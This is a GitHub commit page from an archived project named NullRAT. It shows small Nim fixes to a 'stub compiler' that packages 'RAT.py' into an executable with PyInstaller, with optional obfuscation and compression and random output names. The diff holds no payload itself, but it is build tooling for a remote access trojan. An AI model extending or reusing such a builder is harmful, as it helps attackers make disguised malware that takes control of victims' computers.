Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit aa1050f

Browse files
committed
Compiler: Fix variable assignment
1 parent 7cc4c23 commit aa1050f

2 files changed

Lines changed: 10 additions & 7 deletions

File tree

Compiler/compiler.nim

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,8 @@ proc compiler*(): int =
1313
setCurrentDir(appDirectory / "NullRAT")
1414

1515
stdout.styledWriteLine({styleBright}, " >> Stub Compiler <<")
16+
echo getEnv("PATH") # DEBUG
17+
1618
echo ""
1719
var obfuscate: bool
1820
var compress: bool
@@ -138,9 +140,10 @@ proc compiler*(): int =
138140
dat = fmt" --add-data ""{m};."""
139141
pyinst_cmd.add(dat)
140142

141-
randomString = $rand(1337)
142-
obPyName = randomString & ".py"
143-
obFileName = randomString & ".exe"
143+
let
144+
randomString = $rand(1337)
145+
obPyName = randomString & ".py"
146+
obFileName = randomString & ".exe"
144147

145148
moveFile(currentDirectory / "RAT.py", currentDirectory / obPyName)
146149

Compiler/package.nim

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -30,10 +30,10 @@ proc packageInstaller*() =
3030

3131
const modules: string = pipModules.join(" ")
3232

33-
var status: int = execShellCmd("python --version")
34-
var status2: int = execShellCmd("py --version")
33+
var status2: int = execShellCmd("python --version")
34+
var status3: int = execShellCmd("py --version")
3535

36-
if status == 0 or status2 == 0:
36+
if status2 == 0 or status3 == 0:
3737
stdout.styledWriteLine(fgGreen, {styleBright}, "- Python installed!")
3838
echo ""
3939

@@ -80,7 +80,7 @@ proc packageInstaller*() =
8080
echo "[INFO] Dependencies are not installed!\n"
8181
stdout.styledWriteLine({styleBright}, "[3] Installing/Updating dependencies...")
8282

83-
var result: int = 0
83+
result = 0
8484

8585
result = execShellCmd("pip install " & modules)
8686
if result != 0:

0 commit comments

Comments
 (0)